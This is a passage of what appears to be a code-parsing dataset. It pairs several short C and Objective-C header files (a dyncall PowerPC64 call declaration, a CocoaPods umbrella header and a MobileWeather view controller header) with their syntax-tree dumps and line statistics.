pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}" (extern) "extern" (string_literal) ""C"" (") """ (string_content) "C" (") """ (declaration_list) "{\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}" ({) "{" (preproc_call) "#endif\n" (preproc_directive) "#endif" (struct_specifier) "struct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n}" (struct) "struct" (type_identifier) "DCRegData_ppc64_" (field_declaration_list) "{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n}" ({) "{" (field_declaration) "DClonglong mIntData[8];" (type_identifier) "DClonglong" (array_declarator) "mIntData[8]" (field_identifier) "mIntData" ([) "[" (number_literal) "8" (]) "]" (;) ";" (field_declaration) "DCdouble mFloatData[13];" (type_identifier) "DCdouble" (array_declarator) "mFloatData[13]" (field_identifier) "mFloatData" ([) "[" (number_literal) "13" (]) "]" (;) ";" (}) "}" (;) ";" (comment) "/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/" (declaration) "void dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);" (primitive_type) "void" (function_declarator) "dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata)" (identifier) "dcCall_ppc64" (parameter_list) "(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata)" (() "(" (parameter_declaration) "DCpointer target" (type_identifier) "DCpointer" (identifier) "target" (,) "," (parameter_declaration) "struct DCRegData_ppc64_* ppc64data" (struct_specifier) "struct DCRegData_ppc64_" (struct) "struct" (type_identifier) "DCRegData_ppc64_" (pointer_declarator) "* ppc64data" (*) "*" (identifier) "ppc64data" (,) "," (parameter_declaration) "DCsize stksize" (type_identifier) "DCsize" (identifier) "stksize" (,) "," (parameter_declaration) "DCpointer stkdata" (type_identifier) "DCpointer" (identifier) "stkdata" ()) ")" (;) ";" (preproc_ifdef) "#ifdef __cplusplus" (#ifdef) "#ifdef" (identifier) "__cplusplus" (#endif) "" (}) "}" (#endif) "#endif" (#endif) "#endif" (comment) "/* DYNCALL_PPC64_H */"
86
0
{"language": "c", "success": true, "metadata": {"lines": 41, "avg_line_length": 31.71, "nodes": 57, "errors": 0, "source_hash": "2bf458e24f66aa339e42afa0cbc14026ab6a867214ed6cea7765ed274b7106d3", "categorized_nodes": 47}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef DYNCALL_PPC64_H\n#define DYNCALL_PPC64_H\n\n#include \"dyncall_types.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 56], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 53, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 7}}, {"id": 2, "type": "identifier", "text": "DYNCALL_PPC64_H", "parent": 0, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 23}}, {"id": 3, "type": "preproc_def", "text": "#define DYNCALL_PPC64_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 7}}, {"id": 5, "type": "identifier", "text": "DYNCALL_PPC64_H", "parent": 3, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 23}}, {"id": 6, "type": "preproc_include", "text": "#include \"dyncall_types.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"dyncall_types.h\"", "parent": 6, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 26}}, {"id": 9, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}\n#endif", "parent": 0, "children": [10, 11, 12, 55], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 51, "column": 6}}, {"id": 10, "type": "#ifdef", "text": "#ifdef", "parent": 9, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 6}}, {"id": 11, "type": "identifier", "text": "__cplusplus", "parent": 9, "children": [], "start_point": {"row": 30, "column": 7}, "end_point": {"row": 30, "column": 18}}, {"id": 12, "type": "linkage_specification", "text": "extern \"C\" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}", "parent": 9, "children": [13, 14], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 50, "column": 1}}, {"id": 13, "type": "extern", "text": "extern", "parent": 12, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 6}}, {"id": 14, "type": "string_literal", "text": "\"C\"", "parent": 12, "children": [], "start_point": {"row": 31, "column": 7}, "end_point": {"row": 31, "column": 10}}, {"id": 15, "type": "preproc_call", "text": "#endif\n", "parent": 12, "children": [16], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 16, "type": "preproc_directive", "text": "#endif", "parent": 15, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 6}}, {"id": 17, "type": "struct_specifier", "text": "struct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n}", "parent": 12, "children": [18, 19], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 38, "column": 1}}, {"id": 18, "type": "struct", "text": "struct", "parent": 17, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 6}}, {"id": 19, "type": "type_identifier", "text": "DCRegData_ppc64_", "parent": 17, "children": [], "start_point": {"row": 34, "column": 7}, "end_point": {"row": 34, "column": 23}}, {"id": 20, "type": "field_declaration", "text": "DClonglong mIntData[8];", "parent": 17, "children": [21, 22], "start_point": {"row": 36, "column": 2}, "end_point": {"row": 36, "column": 25}}, {"id": 21, "type": "type_identifier", "text": "DClonglong", "parent": 20, "children": [], "start_point": {"row": 36, "column": 2}, "end_point": {"row": 36, "column": 12}}, {"id": 22, "type": "array_declarator", "text": "mIntData[8]", "parent": 20, "children": [23, 24], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 24}}, {"id": 23, "type": "field_identifier", "text": "mIntData", "parent": 22, "children": [], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 21}}, {"id": 24, "type": "number_literal", "text": "8", "parent": 22, "children": [], "start_point": {"row": 36, "column": 22}, "end_point": {"row": 36, "column": 23}}, {"id": 25, "type": "field_declaration", "text": "DCdouble mFloatData[13];", "parent": 17, "children": [26, 27], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 28}}, {"id": 26, "type": "type_identifier", "text": "DCdouble", "parent": 25, "children": [], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 10}}, {"id": 27, "type": "array_declarator", "text": "mFloatData[13]", "parent": 25, "children": [28, 29], "start_point": {"row": 37, "column": 13}, "end_point": {"row": 37, "column": 27}}, {"id": 28, "type": "field_identifier", "text": "mFloatData", "parent": 27, "children": [], "start_point": {"row": 37, "column": 13}, "end_point": {"row": 37, "column": 23}}, {"id": 29, "type": "number_literal", "text": "13", "parent": 27, "children": [], "start_point": {"row": 37, "column": 24}, "end_point": {"row": 37, "column": 26}}, {"id": 30, "type": "declaration", "text": "void dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);", "parent": 12, "children": [31, 32], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 111}}, {"id": 31, "type": "primitive_type", "text": "void", "parent": 30, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 4}}, {"id": 32, "type": "function_declarator", "text": "dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata)", "parent": 30, "children": [33, 34], "start_point": {"row": 47, "column": 9}, "end_point": {"row": 47, "column": 110}}, {"id": 33, "type": "identifier", "text": "dcCall_ppc64", "parent": 32, "children": [], "start_point": {"row": 47, "column": 9}, "end_point": {"row": 47, "column": 21}}, {"id": 34, "type": "parameter_list", "text": "(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata)", "parent": 32, "children": [35, 38, 45, 48], "start_point": {"row": 47, "column": 21}, "end_point": {"row": 47, "column": 110}}, {"id": 35, "type": "parameter_declaration", "text": "DCpointer target", "parent": 34, "children": [36, 37], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 38}}, {"id": 36, "type": "type_identifier", "text": "DCpointer", "parent": 35, "children": [], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 31}}, {"id": 37, "type": "identifier", "text": "target", "parent": 35, "children": [], "start_point": {"row": 47, "column": 32}, "end_point": {"row": 47, "column": 38}}, {"id": 38, "type": "parameter_declaration", "text": "struct DCRegData_ppc64_* ppc64data", "parent": 34, "children": [39, 42], "start_point": {"row": 47, "column": 40}, "end_point": {"row": 47, "column": 74}}, {"id": 39, "type": "struct_specifier", "text": "struct DCRegData_ppc64_", "parent": 38, "children": [40, 41], "start_point": {"row": 47, "column": 40}, "end_point": {"row": 47, "column": 63}}, {"id": 40, "type": "struct", "text": "struct", "parent": 39, "children": [], "start_point": {"row": 47, "column": 40}, "end_point": {"row": 47, "column": 46}}, {"id": 41, "type": "type_identifier", "text": "DCRegData_ppc64_", "parent": 39, "children": [], "start_point": {"row": 47, "column": 47}, "end_point": {"row": 47, "column": 63}}, {"id": 42, "type": "pointer_declarator", "text": "* ppc64data", "parent": 38, "children": [43, 44], "start_point": {"row": 47, "column": 63}, "end_point": {"row": 47, "column": 74}}, {"id": 43, "type": "*", "text": "*", "parent": 42, "children": [], "start_point": {"row": 47, "column": 63}, "end_point": {"row": 47, "column": 64}}, {"id": 44, "type": "identifier", "text": "ppc64data", "parent": 42, "children": [], "start_point": {"row": 47, "column": 65}, "end_point": {"row": 47, "column": 74}}, {"id": 45, "type": "parameter_declaration", "text": "DCsize stksize", "parent": 34, "children": [46, 47], "start_point": {"row": 47, "column": 76}, "end_point": {"row": 47, "column": 90}}, {"id": 46, "type": "type_identifier", "text": "DCsize", "parent": 45, "children": [], "start_point": {"row": 47, "column": 76}, "end_point": {"row": 47, "column": 82}}, {"id": 47, "type": "identifier", "text": "stksize", "parent": 45, "children": [], "start_point": {"row": 47, "column": 83}, "end_point": {"row": 47, "column": 90}}, {"id": 48, "type": "parameter_declaration", "text": "DCpointer stkdata", "parent": 34, "children": [49, 50], "start_point": {"row": 47, "column": 92}, "end_point": {"row": 47, "column": 109}}, {"id": 49, "type": "type_identifier", "text": "DCpointer", "parent": 48, "children": [], "start_point": {"row": 47, "column": 92}, "end_point": {"row": 47, "column": 101}}, {"id": 50, "type": "identifier", "text": "stkdata", "parent": 48, "children": [], "start_point": {"row": 47, "column": 102}, "end_point": {"row": 47, "column": 109}}, {"id": 51, "type": "preproc_ifdef", "text": "#ifdef __cplusplus", "parent": 12, "children": [52, 53, 54], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 18}}, {"id": 52, "type": "#ifdef", "text": "#ifdef", "parent": 51, "children": [], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 6}}, {"id": 53, "type": "identifier", "text": "__cplusplus", "parent": 51, "children": [], "start_point": {"row": 49, "column": 7}, "end_point": {"row": 49, "column": 18}}, {"id": 54, "type": "#endif", "text": "", "parent": 51, "children": [], "start_point": {"row": 49, "column": 18}, "end_point": {"row": 49, "column": 18}}, {"id": 55, "type": "#endif", "text": "#endif", "parent": 9, "children": [], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 6}}, {"id": 56, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 6}}]}, "node_categories": {"declarations": {"functions": [32], "variables": [20, 25, 30, 35, 38, 45, 48], "classes": [17, 18, 39, 40], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 9, 10, 11, 12, 19, 21, 23, 26, 28, 33, 36, 37, 41, 44, 46, 47, 49, 50, 51, 52, 53, 54, 55, 56], "returns": [], "exceptions": []}, "expressions": {"calls": [15], "literals": [8, 14, 24, 29], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 32, "universal_type": "function", "name": "DCRegData_ppc64_*", "text_snippet": "dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata"}], "class_declarations": [{"node_id": 17, "universal_type": "class", "name": "DCRegData_ppc64_", "text_snippet": "struct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n}"}, {"node_id": 18, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 39, "universal_type": "class", "name": "DCRegData_ppc64_", "text_snippet": "struct DCRegData_ppc64_"}, {"node_id": 40, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 6, "text": "#include \"dyncall_types.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "/*\n\n Package: dyncall\n Library: dyncall\n File: dyncall/dyncall_call_ppc64.h\n Description: \n License:\n\n Copyright (c) 2014-2015 <NAME> <<EMAIL>>\n\n Permission to use, copy, modify, and distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n*/\n\n\n#ifndef DYNCALL_PPC64_H\n#define DYNCALL_PPC64_H\n\n#include \"dyncall_types.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* DYNCALL_PPC64_H */\n\n"}
81,185
c
#ifdef __OBJC__ #import <UIKit/UIKit.h> #else #ifndef FOUNDATION_EXPORT #if defined(__cplusplus) #define FOUNDATION_EXPORT extern "C" #else #define FOUNDATION_EXPORT extern #endif #endif #endif FOUNDATION_EXPORT double Pods_ZJScrollViewModule_ExampleVersionNumber; FOUNDATION_EXPORT const unsigned char Pods_ZJScrollViewModule_ExampleVersionString[];
24.14
14
(translation_unit) "#ifdef __OBJC__\n#import <UIKit/UIKit.h>\n#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern "C"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif\n#endif\n\n\nFOUNDATION_EXPORT double Pods_ZJScrollViewModule_ExampleVersionNumber;\nFOUNDATION_EXPORT const unsigned char Pods_ZJScrollViewModule_ExampleVersionString[];\n\n" (preproc_ifdef) "#ifdef __OBJC__\n#import <UIKit/UIKit.h>\n#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern "C"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif\n#endif" (#ifdef) "#ifdef" (identifier) "__OBJC__" (preproc_call) "#import <UIKit/UIKit.h>\n" (preproc_directive) "#import" (preproc_arg) "<UIKit/UIKit.h>" (preproc_else) "#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern "C"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif" (#else) "#else" (preproc_ifdef) "#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern "C"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif" (#ifndef) "#ifndef" (identifier) "FOUNDATION_EXPORT" (preproc_if) "#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern "C"\n#else\n#define FOUNDATION_EXPORT extern\n#endif" (#if) "#if" (preproc_defined) "defined(__cplusplus)" (defined) "defined" (() "(" (identifier) "__cplusplus" ()) ")" ( ) "\n" (preproc_def) "#define FOUNDATION_EXPORT extern "C"\n" (#define) "#define" (identifier) "FOUNDATION_EXPORT" (preproc_arg) "extern "C"" (preproc_else) "#else\n#define FOUNDATION_EXPORT extern\n" (#else) "#else" (preproc_def) "#define FOUNDATION_EXPORT extern\n" (#define) "#define" (identifier) "FOUNDATION_EXPORT" (preproc_arg) "extern" (#endif) "#endif" (#endif) "#endif" (#endif) "#endif" (declaration) "FOUNDATION_EXPORT double Pods_ZJScrollViewModule_ExampleVersionNumber;" (type_identifier) "FOUNDATION_EXPORT" (ERROR) "double" (identifier) "double" (identifier) "Pods_ZJScrollViewModule_ExampleVersionNumber" (;) ";" (declaration) "FOUNDATION_EXPORT const unsigned" (type_identifier) "FOUNDATION_EXPORT" (type_qualifier) "const" (const) "const" (identifier) "unsigned" (;) "" (declaration) "char Pods_ZJScrollViewModule_ExampleVersionString[];" (primitive_type) "char" (array_declarator) "Pods_ZJScrollViewModule_ExampleVersionString[]" (identifier) "Pods_ZJScrollViewModule_ExampleVersionString" ([) "[" (]) "]" (;) ";"
52
1
{"language": "c", "success": true, "metadata": {"lines": 14, "avg_line_length": 24.14, "nodes": 42, "errors": 0, "source_hash": "4c247c28dd6232e4d7246c891ffbe1f5c755981490554d6c7f16a6d9ba5c0277", "categorized_nodes": 24}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifdef __OBJC__\n#import <UIKit/UIKit.h>\n#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern \"C\"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif\n#endif", "parent": null, "children": [1, 2, 3, 6, 29], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 10, "column": 6}}, {"id": 1, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 6}}, {"id": 2, "type": "identifier", "text": "__OBJC__", "parent": 0, "children": [], "start_point": {"row": 0, "column": 7}, "end_point": {"row": 0, "column": 15}}, {"id": 3, "type": "preproc_call", "text": "#import <UIKit/UIKit.h>\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "preproc_directive", "text": "#import", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "preproc_arg", "text": "<UIKit/UIKit.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 23}}, {"id": 6, "type": "preproc_else", "text": "#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern \"C\"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif", "parent": 0, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 9, "column": 6}}, {"id": 7, "type": "#else", "text": "#else", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 5}}, {"id": 8, "type": "preproc_ifdef", "text": "#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern \"C\"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif", "parent": 6, "children": [9, 10, 11, 28], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 9, "column": 6}}, {"id": 9, "type": "#ifndef", "text": "#ifndef", "parent": 8, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 7}}, {"id": 10, "type": "identifier", "text": "FOUNDATION_EXPORT", "parent": 8, "children": [], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 25}}, {"id": 11, "type": "preproc_if", "text": "#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern \"C\"\n#else\n#define FOUNDATION_EXPORT extern\n#endif", "parent": 8, "children": [12, 13, 16, 17, 21, 27], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 8, "column": 6}}, {"id": 12, "type": "#if", "text": "#if", "parent": 11, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 3}}, {"id": 13, "type": "preproc_defined", "text": "defined(__cplusplus)", "parent": 11, "children": [14, 15], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 4, "column": 24}}, {"id": 14, "type": "defined", "text": "defined", "parent": 13, "children": [], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 4, "column": 11}}, {"id": 15, "type": "identifier", "text": "__cplusplus", "parent": 13, "children": [], "start_point": {"row": 4, "column": 12}, "end_point": {"row": 4, "column": 23}}, {"id": 16, "type": "\n", "text": "\n", "parent": 11, "children": [], "start_point": {"row": 4, "column": 24}, "end_point": {"row": 5, "column": 0}}, {"id": 17, "type": "preproc_def", "text": "#define FOUNDATION_EXPORT extern \"C\"\n", "parent": 11, "children": [18, 19, 20], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 18, "type": "#define", "text": "#define", "parent": 17, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 19, "type": "identifier", "text": "FOUNDATION_EXPORT", "parent": 17, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 25}}, {"id": 20, "type": "preproc_arg", "text": "extern \"C\"", "parent": 17, "children": [], "start_point": {"row": 5, "column": 26}, "end_point": {"row": 5, "column": 36}}, {"id": 21, "type": "preproc_else", "text": "#else\n#define FOUNDATION_EXPORT extern\n", "parent": 11, "children": [22, 23], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 22, "type": "#else", "text": "#else", "parent": 21, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 5}}, {"id": 23, "type": "preproc_def", "text": "#define FOUNDATION_EXPORT extern\n", "parent": 21, "children": [24, 25, 26], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 24, "type": "#define", "text": "#define", "parent": 23, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 25, "type": "identifier", "text": "FOUNDATION_EXPORT", "parent": 23, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 25}}, {"id": 26, "type": "preproc_arg", "text": "extern", "parent": 23, "children": [], "start_point": {"row": 7, "column": 26}, "end_point": {"row": 7, "column": 32}}, {"id": 27, "type": "#endif", "text": "#endif", "parent": 11, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 6}}, {"id": 28, "type": "#endif", "text": "#endif", "parent": 8, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 6}}, {"id": 29, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 6}}, {"id": 30, "type": "declaration", "text": "FOUNDATION_EXPORT double Pods_ZJScrollViewModule_ExampleVersionNumber;", "parent": null, "children": [31, 32, 34], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 70}}, {"id": 31, "type": "type_identifier", "text": "FOUNDATION_EXPORT", "parent": 30, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 17}}, {"id": 32, "type": "ERROR", "text": "double", "parent": 30, "children": [33], "start_point": {"row": 13, "column": 18}, "end_point": {"row": 13, "column": 24}}, {"id": 33, "type": "identifier", "text": "double", "parent": 32, "children": [], "start_point": {"row": 13, "column": 18}, "end_point": {"row": 13, "column": 24}}, {"id": 34, "type": "identifier", "text": "Pods_ZJScrollViewModule_ExampleVersionNumber", "parent": 30, "children": [], "start_point": {"row": 13, "column": 25}, "end_point": {"row": 13, "column": 69}}, {"id": 35, "type": "declaration", "text": "FOUNDATION_EXPORT const unsigned", "parent": null, "children": [36, 37], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 32}}, {"id": 36, "type": "type_identifier", "text": "FOUNDATION_EXPORT", "parent": 35, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 17}}, {"id": 37, "type": "identifier", "text": "unsigned", "parent": 35, "children": [], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 32}}, {"id": 38, "type": "declaration", "text": "char Pods_ZJScrollViewModule_ExampleVersionString[];", "parent": null, "children": [39, 40], "start_point": {"row": 14, "column": 33}, "end_point": {"row": 14, "column": 85}}, {"id": 39, "type": "primitive_type", "text": "char", "parent": 38, "children": [], "start_point": {"row": 14, "column": 33}, "end_point": {"row": 14, "column": 37}}, {"id": 40, "type": "array_declarator", "text": "Pods_ZJScrollViewModule_ExampleVersionString[]", "parent": 38, "children": [41], "start_point": {"row": 14, "column": 38}, "end_point": {"row": 14, "column": 84}}, {"id": 41, "type": "identifier", "text": "Pods_ZJScrollViewModule_ExampleVersionString", "parent": 40, "children": [], "start_point": {"row": 14, "column": 38}, "end_point": {"row": 14, "column": 82}}]}, "node_categories": {"declarations": {"functions": [], "variables": [30, 35, 38], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 8, 9, 10, 11, 12, 15, 19, 25, 27, 28, 29, 31, 33, 34, 36, 37, 41], "returns": [], "exceptions": []}, "expressions": {"calls": [3], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "#ifdef __OBJC__\n#import <UIKit/UIKit.h>\n#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern \"C\"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif\n#endif\n\n\nFOUNDATION_EXPORT double Pods_ZJScrollViewModule_ExampleVersionNumber;\nFOUNDATION_EXPORT const unsigned char Pods_ZJScrollViewModule_ExampleVersionString[];\n\n"}
81,186
c
// // MainViewController.h // MobileWeather // // Copyright (c) 2013-2015 Ford Motor Company. All rights reserved. // #import <UIKit/UIKit.h> @interface MainViewController : UIViewController @end
21.11
9
